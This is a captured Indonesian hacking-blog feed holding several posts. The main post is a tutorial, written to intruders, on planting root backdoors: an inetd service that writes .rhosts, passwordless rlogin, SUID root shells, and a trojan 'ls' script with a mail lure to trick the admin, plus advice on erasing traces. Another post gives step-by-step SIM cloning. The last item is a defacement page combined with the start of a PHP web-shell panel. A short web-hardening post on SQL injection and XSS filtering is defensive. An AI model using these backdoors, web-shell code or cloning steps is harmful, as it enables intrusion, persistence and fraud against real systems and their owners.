<p>ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau</p>
<p>/bin/tcsh. Apa daya seorang sysadmin? Tentunya jika mereka memang keren</p>
<p>kung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksa</p>
<p>keberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubah</p>
<p>entri dari account-account internal dari /bin/false ke /nggak-ada-tuh atau</p>
<p>string unik lainnya yang bukan merupakan nama file.</p>
<p>Metode backdooring lain adalah dengan memanfaatkan &#8220;in.rootd&#8221; (sebenernya</p>
<p>ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak ada</p>
<p>tuh yang namanya root daemon &#8211; tapi metode ini benar-benar cocok disebut</p>
<p>rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat</p>
<p>salah satu port yang didefinisikan dalam &#8220;inetd&#8221;:</p>
<p>root@korban# echo &#8220;ntcp 6969/tcp # Network Traffic Control Protocol&#8221; &gt;&gt;</p>
<p>/etc/services</p>
<p>root@korban# echo &#8220;ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r&#8221; &gt;&gt;</p>
<p>/etc/inetd.conf</p>
<p>root@korban# echo &#8220;echo indohack2.ri.go.id &gt; ~root/.rhosts&#8221; &gt; /tmp/crax0r</p>
<p>menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem</p>
<p>yang cukup dahsyat, namun tidak akan segera tampak. Penjelasan dari ketiga</p>
<p>perintah diatas:</p>
<p>1. mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomor</p>
<p>port lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024</p>
<p>sampai 65000-an), sedangkan &#8220;Network Traffic Control Protocol&#8221; adalah</p>
<p>karangan kamu sendiri sebab setiap service harus punya nama, dan biasanya</p>
<p>sysadmin tidak akan begitu curiga dengan nama seperti itu.</p>
<p>2. memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r</p>
<p>setiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya</p>
<p>mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan</p>
<p>mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan</p>
<p>perintah-perintah selayaknya kita login lewat jalur normal. Sang shell</p>
<p>akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita.</p>
<p>Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu</p>
<p>lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti</p>
<p>/tmp/dev001).</p>
<p>3. Nah, perintah ketiga ini lah yang akan dieksekusi oleh sang shell yang</p>
<p>baru saja kita luncurkan (id=0 &#8211; root!). Tentunya kamu bisa saja menulis</p>
<p>skrip yang lebih kompleks. Namun untuk menghemat tempat, kita lancarkan</p>
<p>saja perintah yang sudah dibahas diatas, yaitu menambahkan entri dari</p>
<p>mesin host kita ke file .rhosts milik root.</p>
<p>Tentu jika sang admin memang keren kung funya, rlogind akan</p>
<p>dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamu</p>
<p>periksa isi direktori dan file &#8220;history&#8221; milik root dan isinya menunjukkan</p>
<p>bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas</p>
<p>akan memberikan jalan masuk lewat belakang ke dalam sistem target (idih,</p>
<p>kesannya kayak cerita-cerita porno anal seks aja!). Sekarang kamu tinggal:</p>
<p>ganjaman@indohack2&gt; telnet korban.lameisp.net.id 6969</p>
<p>nah, sistem kamu akan tersambung ke sistem target lewat port 6969,</p>
<p>sedangkan daemon inet di mesin korban akan menerima sambungan tersebut,</p>
<p>menjalankan perintah dalam skrip /tmp/crax0r dengan privilese root, dan</p>
<p>dengan segera menutup kembali sambungan telnet. Sekarang .rhosts milik</p>
<p>root sudah ditambahi satu entri lagi, yaitu nama host kamu. Untuk kembali</p>
<p>menggarap sistem target (sebaiknya dilakukan saat itu juga, sebab sang</p>
<p>sysadmin mungkin akan curiga melihat skrip &#8216;asing&#8217; dijalankan lewat port</p>
<p>6969) kamu tinggal:</p>
<p>ganjaman@indohack2&gt; rlogin -l root korban.lameisp.net.id</p>
<p>dan, BOOM!</p>
<p>korban#</p>
<p>shell root tanpa password! (Nah, sekarang kamu boleh kirim surat penggemar</p>
<p>ke indohack@hotmail.com, bertitel &#8220;Terimakasih, suhu Ganjaman dan</p>
<p>SuperCock, atas ilmu ngent… engin badannya …&#8221; <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ). Tapi ingatlah untuk</p>
<p>segera menghapus file .rhosts dan jejak jejak lain. Tentunya kalau kung fu</p>
<p>kamu emang udah cukup tinggi, teknik menyembunyikan diri dan antideteksi</p>
<p>udah bukan barang asing bagi kamu, jadi, jangan lupa aktifkan segala</p>
<p>spoofer program, dll. Kalau kamu benar-benar suka mengutak-utik, serangan</p>
<p>bisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkan</p>
<p>service-service yang jarang (hampir tidak pernah dipakai) seperti</p>
<p>utilitas-utilitas X, segala utilitas berkepala &#8220;r&#8221;, dan banyak lagi.</p>
<p>Metode lain yang cukup populer adalah dengan membuat sebuah file dengan</p>
<p>bit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem</p>
<p>mempunyai program audit keamanan yang akan mensensus seluruh file berbit</p>
<p>SUID yang terletak diluar lokasi-lokasi wajar (seperti /tmp atau lokasi</p>
<p>homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu</p>
<p>program yang sudah berjalan / terinstal secara default, seperti xterm dan</p>
<p>splitvt, sehingga sebuah option rootshell akan secara otomatis</p>
<p>execv(&#8220;/bin/sh&#8221;, &#8220;sh&#8221;, NULL);.</p>
<p>Kalau kamu emang pendekar asli (dan entah kenapa sedang membaca artikel</p>
<p>kelas kacangan ini), kamu bisa modifikasi daemon-daemon yang sedang</p>
<p>berjalan untuk menerima perintah-perintah hasil karangan kamu sendiri.</p>
<p>Berikut adalah cuplikan dari metode milik Hacker nagageni 212 yang telah</p>
<p>berhasil memodifikasi program sendmail di server korban.com (PSM=Pukulan</p>
<p>Sinar Matahari):</p>
<p>212@GG&gt; telnet korban.com 25</p>
<p>Trying mesin.korban.com …</p>
<p>Connected to mesin.korban.com.</p>
<p>Escape character is &#8216;^]&#8217;.</p>
<p>220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5; … [snip] …</p>
<p>PSM_EXEC /bin/cp /bin/sh /tmp/elit</p>
<p>Done … master!</p>
<p>PSM_EXEC /bin/chmod 4755 /tmp/elit</p>
<p>Done … master!</p>
<p>Jika menurut kamu cuplikan diatas sudah cukup familiar, maka kami dengan</p>
<p>segala kerendahan hati minta izin untuk berguru!</p>
<p>3 Trojan Horse</p>
<p>===============</p>
<p>Tidak akan banyak penjelasan mengenai metode ini, sebab pada umumnya</p>
<p>Trojan Horse hanya efektif jika kamu betul-betul pintar menutupi suatu</p>
<p>program atau jika sang sysadmin memang betul-betul tolol. Pada prinsipnya,</p>
<p>Trojan Horse adalah program yang mempunyai &#8216;feature&#8217; gelap. Misalnya kamu</p>
<p>membuat sebuah game yang cukup heboh dan kamu dengan sengaja menyelipkan</p>
<p>perintah untuk membuka akses di dalam kode game kamu, sedemikian rupa</p>
<p>sehingga saat sang sysadmin menjalankan program tersebut, tanpa</p>
<p>disadarinya file .rhosts nya telah ketambahan sesuatu. Kami kenal seorang</p>
<p>hacker yang lihai menulis skrip IRC, dan skrip IRC-nya kebetulan mempunyai</p>
<p>banyak peminat. Beberapa &#8216;lamers&#8217; mendownload skrip tersebut tanpa</p>
<p>menyadari bahwa sang skrip menyelipkan beberapa perintah untuk mengizinkan</p>
<p>akses tak berpassword kepada sang penulis asli skrip. (Hello, Tut!)</p>
<p>4 Trapdoor</p>
<p>===========</p>
<p>Banyak persamaan antara Trapdoor dengan Backdoor dan Trojan Horse, namun</p>
<p>dalam artikel ini, &#8216;Trapdoor&#8217; diasumsikan sebagai cara yang bisa kita</p>
<p>gunakan untuk menjebak (trap) sang sysadmin untuk memberikan kita akses</p>
<p>root kedalam sistem. Seringkali kita terbentur masalah sistem operasi yang</p>
<p>paling gres, atau sebuah sistem dimana hampir semua eksploit untuk</p>
<p>mendapatkan root tidak berjalan sama sekali (patched systems). Jangan</p>
<p>putus asa! Masih banyak metode yang bisa kita terapkan untuk membuat sang</p>
<p>sysadmin tertipu, berakibat dibukanya akses ke dalam sistem. Misalkan kamu</p>
<p>sudah berhari-hari mengoprek sebuah target dengan menggunakan account dan</p>
<p>password seorang user biasa hasil colongan lewat phf, dan sayangnya tidak</p>
<p>ada exploit yang mempan. Nah, sudah saatnya kita terapkan metode Trapdoor.</p>
<p>Berikut adalah metode Trapdoor yang walaupun sederhana, masih saja bisa</p>
<p>mengelabui puluhan sysadmin diluar sana.</p>
<p>Pertama-tama, kamu perlu merubah perizinan homedir kamu (atau homedir</p>
<p>milik user yang accountnya kamu &#8216;pinjam&#8217;):</p>
<p>user1@korban&gt; chmod 700 ~/.</p>
<p>Nah, karena sekarang homedir kamu bermode 700, sang syadmin perlu</p>
<p>mengganti privilesenya ke root jika beliau ingin memeriksa isi direktori</p>
<p>ybs. Nah, langkah berikutnya adalah membuat sebuah skrip yang bertugas</p>
<p>untuk bertingkahlaku selayaknya perintah biasa, namun diluar pengetahuan</p>
<p>sang admin, justru membuka satu (atau beberapa) kelemahan dalam sistem.</p>
<p>Yang langsung terpikir olehmu, jelas, perintah ls. Disinilah letak</p>
<p>kelemahan UNIX dibanding … uh, MS-DOS. Dalam UNIX, seorang sysadmin yang</p>
<p>baik selalu mengetik &#8216;full pathname&#8217; dari program manapun yang dia</p>
<p>jalankan (seperti /bin/ls atau /usr/sbin/vi index.html), dan untuk tujuan</p>
<p>kemudahan, biasanya /bin atau /usr/sbin sudah dimasukkan dalam daftar</p>
<p>search path. Jadi jika misalnya sang sysadmin melakukan:</p>
<p>root# pwd</p>
<p>/usr/home/staff/user1</p>
<p>root# ls</p>
<p>maka yang dijalankan adalah program /bin/ls. Apa akibatnya jika kebetulan</p>
<p>dalam direktori /usr/home/staff/user1 kita letakkan sebuah skrip bernama</p>
<p>&#8216;ls&#8217;? Heheheh … cukup menarik, khan. Nah, sekarang kita bisa buat sebuah</p>
<p>skrip yang berisi:</p>
<ol>
<li>!/bin/sh</li>
</ol>
<p>cp /bin/sh /tmp/vi-save-902887</p>
<p>chown root /tmp/vi-save-902887</p>
<p>chmod 4755 /tmp/vi-save-902887</p>
<p>rm ./ls</p>
<p>ls</p>
<p>simpan skrip tersebut di homedir user1, beri nama &#8220;ls&#8221; dan</p>
<p>user1@korban&gt; chmod +x ls</p>
<p>sekarang tinggal pintar-pintarnya kamu mengakali sang sysadmin untuk</p>
<p>mengecek isi homedir user1. Jika kamu kebetulan punya login/passwd untuk</p>
<p>user2 di mesin yang sama, maka kamu bisa saja &#8216;mengundang&#8217; sang admin.</p>
<p>Login sebagai user1, dan kirim imel</p>
<p>user1@korban&gt; mail root@localhost</p>
<p>Subject: &#8220;Heheheh … Kena garap dari belakang!&#8221;</p>
<p>Hello sysadmin tolol! Mesin kamu sudah kebobolan!</p>
<p>ttd,</p>
<p>God of All Hackers, Virus Researchers and Lame Mailbombers,</p>
<p>Phardera</p>
<p>.</p>
<p>Saat menerima imel ini, sang Syadmin pun akan segera memeriksa isi homedir</p>
<p>user1 (dengan perintah ls, tentunya), dan tanpa disadari sang sysadmin</p>
<p>telah menciptakan sebuah shell root di /tmp/vi-save-902887. Dan, karena</p>
<p>vi-save-902887 ber-SUID root, kamu bisa melakukan bermacam-macam hal</p>
<p>menyenangkan dengannya. Tinggal login sebagai user2 beberapa waktu</p>
<p>kemudian, dan nikmati ketenangan pikiran lewat shell root! Heheheh …</p>
<p>[+/-] Selengkapnya&#8230;</p>
<p>[+/-] Ringkasan&#8230;</p>
<p>Diposkan oleh adesurya-online.blogspot.com di 11:43 1 komentar Link ke posting ini</p>
<p>Minggu, 2008 Oktober 26<br />
Kloning Nomor Handphone.</p>
<p>Kloning nomor handphone? Mungkin itu salah satu berita yang sangat hangat dibicarakan sekarang ini. Penyebab nya tak lain adalah adanya dugaan pembunuhan penegak HAM (alm. Munir) menggunakan sarana ini. Sebenarnya peng-kloningan nomor handphone tidak lah sesulit yang dibayangkan, ini sangat mungkin bisa dilakukan oleh siapapun. Jadi kalau sudah begitu, pertanyaannya yang muncul dibenak saudara mungkin bagaimanakah cara melakukannya? Baiklah saya akan sedikit sharing ilmu dengan rekan-rekan semuanya tentang cara pengkloningan nomor handphone.</p>
<p>Pengkloningan nomor handphone dapat dilakukan dengan 2 cara yaitu yang pertama dengan menerobos system jaringan operator dan melakukan pengkloningan nomor handphone dan yang kedua menggunakan software/alat yang diproduksi oleh Taiwan. Apakah anda pernah mengalami kehilangan SIM handphone? Lalu anda datang kepada pihak operator dan hanya bermodalkan KTP serta materai anda bisa mendapatkan nomor anda kembali dalam beberapa menit proses. Kira-kira seperti itu lah proses peng-kloningan SIM handphone. Dimana pihak operator dapat melakukan pengkloningan SIM semaunya. Tapi dalam artikel ini saya tidak akan membahas bagaimana caranya untuk menerobos system operator seluler dan melakukan peng-kloningan karena hal ini sangat melanggar kode etik hacker dan bisa meresahkan masyarakat. Pada kali ini saya akan menerangkan sedikit cara pengkloningan menggunakan alat/software.</p>
<p>Kira-kira 1 tahun yang lalu, sebuah alat canggih telah diciptakan oleh Taiwan yang berfungsi untuk mengkloning nomor telepon. Alat itu mempunyai nama Sim Max dan Sim Master 3. Jika anda ingin mempunyai alat ini anda tidak perlu susah untuk mencarinya karena alat ini sudah masuk ke indonesia dan anda dapat mendapatkannya dengan budget yang terbilang murah untuk ukuran alat secanggih ini. Alat ini dibanderol dengan harga 1,5 juta/bundle (sudah termasuk alat dan Software). Bundle-an ini berisi master card sim yang kosong sebanyak 12 buah dan satu buah cd software.</p>
<p>Proses nya pun tidak terlalu sulit. Apakah anda pernah melakukan transfer data dari satu disket ke disket lainnya menggunakan komputer? Mirip begitulah proses peng-kloningannya. Proses ini menggunakan prinsip kerja reader SIM meng-copy ke komputer lalu kompputer meng-copy balik ke sim card yang masih kosong. Hanya dalam beberapa jam anda dapat melakukannya dengan sukses.</p>
<p>Untuk lebih jelasnya saya akan menjelaskan step by step untuk melakukannya :<br />
Pertama-tama anda hubungan sim card reader itu ke computer. Lalu masukkan sim card induk atau yang ingin di cloning ke dalam sim card reader dan masukan CD yang disertakan, lalu software akan otomatis melakukan back-up data, seluruh data yang berada di sim akan pindah untuk sementara ke dalam hardisk komputer kita. Setelah itu masukkan sim card yang kosong dan ikuti langkah yang disediakan oleh SIM MAX, proses ini akan memakan waktu kira-kira 5 jam dan setelah itu sim card yang kosong tadi sudah bisa digunakan layaknya SIM asli dari operator seluler. Walaupun anda sudah berhasil meng-kloning SIM menjadi dua, anda hanya bisa menggunakan satu SIM saja, yaitu sim kosong yang baru saja anda gunakan untuk meng-copy tadi ini dikarenakan sewaktu register di network, operator sudah memblock network untuk SIM lama dikarenakan sudah tergolong expired..</p>
<p>Mungkin itu adalah step by step untuk melakukan peng-kloningan SIM handphone, jadi tidak ada alasan bagi terdakwa di pengadilan kasus HAM (Alm. Munir) untuk mengelak jika memang terbukti melakukan peng-kloningan nomor handphone, karena pada zaman sekarang tidak ada yang mustahil dilakukan menggunakan IT. Penulis menyadari mungkin artikel ini dikemudian hari akan menimbulkan dampak yang negatif, tapi penulis tidak bertanggung jawab atas dipublikasikannya artikel ini jika disuatu hari terjadi kejahatan terhadap aksi peng-kloningan nomor handphone itu sendiri. Itu tergantung respon dari rekan-rekan sendiri. Jika rekan-rekan mengganggap diri rekan-rekan adalah hacker sejati, mari kita sama-sama menjunjung tinggi sikap privacy orang dan seperti biasa tugas kita hanya untuk mencari kelemahan dan memberitahukannya kepada pihak yang berwajib bukan kita yang beraksi untuk mengacaukan keadaan.</p>
<p>[+/-] Selengkapnya&#8230;</p>
<p>[+/-] Ringkasan&#8230;</p>
<p>Diposkan oleh adesurya-online.blogspot.com di 12:23 2 komentar Link ke posting ini</p>
<p>Rabu, 2008 April 09<br />
Pengamanan Web Server Dan Site (Versi SQL Injection, JS, XSS, CSS)</p>
<p>Percaya atau tidak kalau mengamankan web itu lebih sulit daripada merusak tampilan atau merusak database dari web tersebut.<br />
Maraknya deface dan hacking yg dilakukan oleh beberapa orang yg dikarenakan kesalahan konfigurasi system atau kurangnya pengetahuan webmaster masih sering dilakukan.</p>
<p>1. Pencegahan SQL Injection, contoh sintak SQL Injection :</p>
<p>?or 1=1&#8211;</p>
<p>Penyerangan melalui teknik ini sama artinya dng penyerangan terhadap database. Untuk melakukan pencegahan terhadap SQL Injection ini, pertama seperti kita ketahui karakter ( ? ), (&#8211;), (NULL), (\x00), (\n), (\r), (?), (/), (/x1a) merupakan biang masalah dari SQL ini, tips nya yaitu escape semua special karakter tersebut untuk php/mysql: mysql_real_escape_string. Atau dengan cara kedua yaitu filter semua karakter yang masuk dan hanya mengijinkan karakter ttt yg dpt di inputkan. Yg perlu diingat, Sql injection ini tidak hanya bisa masuk melalui inputan dari user tetapi juga bisa melalui URL dengan bantuan karakter ( ; ) yang arti dari karakter itu adalah ?baris dibelakang ; akan ikut di eksekusi?. Disarankan, abaikan semua karakter setelah alamat URL. Contoh script yang membatasi karakter yang bisa masukkan :</p>
<p>function validatepassword( input )<br />
good_password_chars =<br />
&#8220;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#8221;<br />
validatepassword = true<br />
for i = 1 to len( input )<br />
c = mid( input, i, 1 )<br />
if ( InStr( good_password_chars, c ) = 0 ) then<br />
validatepassword = false<br />
exit function<br />
end if<br />
next<br />
end function</p>
<p>2. Pencegahan XSS (Cross Side Scripting), contoh script XSS :</p>
<p>Pencurian cookie biasanya sering dilakukan melalui teknik ini. Dengan ditemukan kelemahan XSS ini maka user dapat menjalankan script melalui form, buku tamu atau URL. Walaupun perubahan yang bisa dilakukan hanya bersifat clien tetapi bila cookie dicuri lain soal&#8230;..! Jadi untuk mencegah XSS adalah dengan Konversi &lt; dan &gt; menjadi menjadi lt; dan gt; dan dengan diawali karakter &amp; (itu berarti pengganti nilai &lt; dan &gt; dlm tag HTML) dan filter semua inputan dari user.</p>
<p>3. Pemasukkan Tag HTML. Biasa cara ini kebanyakan dilakukan melalui buku tamu. Dengan cara ini seseorang dapat menambahkan tampilan sesuai dengan keinginan mereka. Dari beberapa pengalaman, biasanya para web master melakukan pencegahan ini dengan menambahkan karakter tertentu di awal karakter &lt; atau &gt;. Tapi fungsi untuk mencegah tag HTML sekarang sudah disediakan langsung oleh PHP jadi kita tinggal pakai saja (htmlspecialchars). Contoh script :</p>
<p>function cleanup($value=&#8221;", $preserve=&#8221;", $tag=&#8221;") {<br />
if (empty($preserve)) {<br />
$value=strip_tags($value, $allowed_tags);<br />
}<br />
$value=htmlspecialchars($value);<br />
return $value;<br />
}</p>
<p>4. Batasi penggunaan Java Script dan jangan menggunakan java script untuk membuat sesuatu yang akan meyangkut hidup matinya web anda, karena java script bersifat client dan membuat akses yang akan sangat lambat. Disarankan gunakan aplikasi yang lain seperti PHP dan ASP karena sudah bersifat server.</p>
<p>5. Penyimpanan file database sebaiknya disimpan dlm directory private. Jangan pernah menyimpannya di directory public yang memungkinkan orang lain dapat mengaksesnya. Tapi biasanya di web hosting sudah menyediakan direktori khusus untuk database. Dalam keamanan database harus dilindungi dengan password. Koneksi sebaiknya di enkripsi dengan SSL. Data yang penting jangan disimpan secara langsung melainkan sebagai hash (md5) atau modifikasi dari md5 yaitu SHA-256 dan SHA-512 atau terenkripsi dengan bahasa pemrograman lain misalnya PHP.</p>
<p>6. Berhati hatilah memilih webhosting, itu sudah kami buktikan. Sehebat apapun web yang dibuat walaupun pengecekan password dibuat 2 kali dan di encrypt berapa kalipun kalau sudah server yang diserang kita tidak bisa berbuat apa apa.</p>
<p>Thx To  Ade Surya Iskandar The Hacking Inspiration <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/57/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/57/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/57/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/57/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/57/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/57/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/57/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/57/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=57&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/01/sekilas-tentang-backdoor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
		<item>
		<title>sambungan inject php</title>
		<link>http://soloteam.wordpress.com/2009/03/31/sambungan-inject-php/</link>
		<comments>http://soloteam.wordpress.com/2009/03/31/sambungan-inject-php/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 22:55:26 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[Tcl and scripts]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=54</guid>
		<description><![CDATA[&#60;/body&#62; &#60;/html&#62; &#60;html&#62; &#60;head&#62; &#60;title&#62;Estrada&#60;/title&#62; &#60;/head&#62; &#60;body&#62; &#60;script language=&#8221;JavaScript&#8221;&#62; &#60;!&#8211; Begin var months=new Array(13); months[1]=&#8221;January&#8221;; months[2]=&#8221;February&#8221;; months[3]=&#8221;March&#8221;; months[4]=&#8221;April&#8221;; months[5]=&#8221;May&#8221;; months[6]=&#8221;June&#8221;; months[7]=&#8221;July&#8221;; months[8]=&#8221;August&#8221;; months[9]=&#8221;September&#8221;; months[10]=&#8221;October&#8221;; months[11]=&#8221;November&#8221;; months[12]=&#8221;December&#8221;; var time=new Date(); var lmonth=months[time.getMonth() + 1]; var date=time.getDate(); var year=time.getYear(); if (year &#60; 2000)    // Y2K Fix, Isaac Powell year = year + 1900; document.write(&#8220;&#60;center&#62;&#8221; + lmonth + [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=54&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&lt;/body&gt;<br />
&lt;/html&gt;<br />
&lt;html&gt;<br />
&lt;head&gt;</p>
<p>&lt;title&gt;Estrada&lt;/title&gt;</p>
<p>&lt;/head&gt;</p>
<p>&lt;body&gt;<br />
&lt;script language=&#8221;JavaScript&#8221;&gt;<br />
&lt;!&#8211; Begin<br />
var months=new Array(13);<br />
months[1]=&#8221;January&#8221;;<br />
months[2]=&#8221;February&#8221;;<br />
months[3]=&#8221;March&#8221;;<br />
months[4]=&#8221;April&#8221;;<br />
months[5]=&#8221;May&#8221;;<br />
months[6]=&#8221;June&#8221;;<br />
months[7]=&#8221;July&#8221;;<br />
months[8]=&#8221;August&#8221;;<br />
months[9]=&#8221;September&#8221;;<br />
months[10]=&#8221;October&#8221;;<br />
months[11]=&#8221;November&#8221;;<br />
months[12]=&#8221;December&#8221;;<br />
var time=new Date();<br />
var lmonth=months[time.getMonth() + 1];<br />
var date=time.getDate();<br />
var year=time.getYear();<br />
if (year &lt; 2000)    // Y2K Fix, Isaac Powell<br />
year = year + 1900;<br />
document.write(&#8220;&lt;center&gt;&#8221; + lmonth + &#8221; &#8220;);<br />
document.write(date + &#8220;, &#8221; + year + &#8220;&lt;/center&gt;&#8221;);<br />
// End &#8211;&gt;<br />
&lt;/script&gt;<br />
&lt;/center&gt;</p>
<p>&lt;html&gt;</p>
<p>&lt;head&gt;<br />
&lt;meta http-equiv=&#8221;Content-Language&#8221; content=&#8221;en-us&#8221;&gt;<br />
&lt;meta name=&#8221;GENERATOR&#8221; content=&#8221;Microsoft FrontPage 5.0&#8243;&gt;<br />
&lt;meta name=&#8221;ProgId&#8221; content=&#8221;FrontPage.Editor.Document&#8221;&gt;<br />
&lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=windows-1252&#8243;&gt;<br />
&lt;title&gt;-=|fuck|=-&lt;/title&gt;<br />
&lt;/head&gt;</p>
<p>&lt;body text=&#8221;#FFFFFF&#8221; bgcolor=&#8221;#000000&#8243;&gt;</p>
<p>&lt;p align=&#8221;center&#8221;&gt;&lt;b&gt;&lt;font face=&#8221;Algerian&#8221; size=&#8221;7&#8243;&gt;HaCKeD By Estrada&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;<br />
&lt;p align=&#8221;center&#8221;&gt;&amp;nbsp;&lt;/p&gt;<br />
&lt;center&gt;&lt;img src=&#8221;http://www.coolgifs.de/gifs/skelette/mail.gif&#8221; alt=&#8221;sOlo TecHnoLoGy&#8221;&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;<br />
&lt;/body&gt;</p>
<p>&lt;/html&gt;</p>
<p>&lt;?php<br />
closelog( );<br />
$user = get_current_user( );<br />
$login = posix_getuid( );<br />
$euid = posix_geteuid( );<br />
$ver = phpversion( );<br />
$gid = posix_getgid( );<br />
if ($chdir == &#8220;&#8221;) $chdir = getcwd( );<br />
if(!$whoami)$whoami=exec(&#8220;whoami&#8221;);<br />
?&gt;<br />
&lt;br&gt;<br />
&lt;TABLE BORDER=&#8221;0&#8243; CELLPADDING=&#8221;0&#8243; CELLSPACING=&#8221;0&#8243;&gt;<br />
&lt;?php<br />
$uname = posix_uname( );<br />
while (list($info, $value) = each ($uname)) {<br />
?&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;?= $info ?&gt;: &lt;?= $value ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;?php<br />
}<br />
?&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;User Info:&lt;/b&gt; uid=&lt;?= $login ?&gt;(&lt;?= $whoami?&gt;) euid=&lt;?= $euid ?&gt;(&lt;?= $whoami?&gt;) gid=&lt;?= $gid ?&gt;(&lt;?= $whoami?&gt;)&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;Current Path:&lt;/b&gt; &lt;?= $chdir ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;Permission Directory:&lt;/b&gt; &lt;? if(@is_writable($chdir)){ echo &#8220;Yes&#8221;; }else{ echo &#8220;No&#8221;; } ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;Server Services:&lt;/b&gt; &lt;?= &#8220;$SERVER_SOFTWARE $SERVER_VERSION&#8221;; ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;Server Adress:&lt;/b&gt; &lt;?= &#8220;$SERVER_ADDR $SERVER_NAME&#8221;; ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;Script Current User:&lt;/b&gt; &lt;?= $user ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;TR&gt;<br />
&lt;TD&gt;&lt;DIV STYLE=&#8221;font-family: verdana; font-size: 10px;&#8221;&gt;&lt;b&gt;PHP Version:&lt;/b&gt; &lt;?= $ver ?&gt;&lt;/DIV&gt;&lt;/TD&gt;<br />
&lt;/TR&gt;<br />
&lt;/TABLE&gt;<br />
&lt;BR&gt;<br />
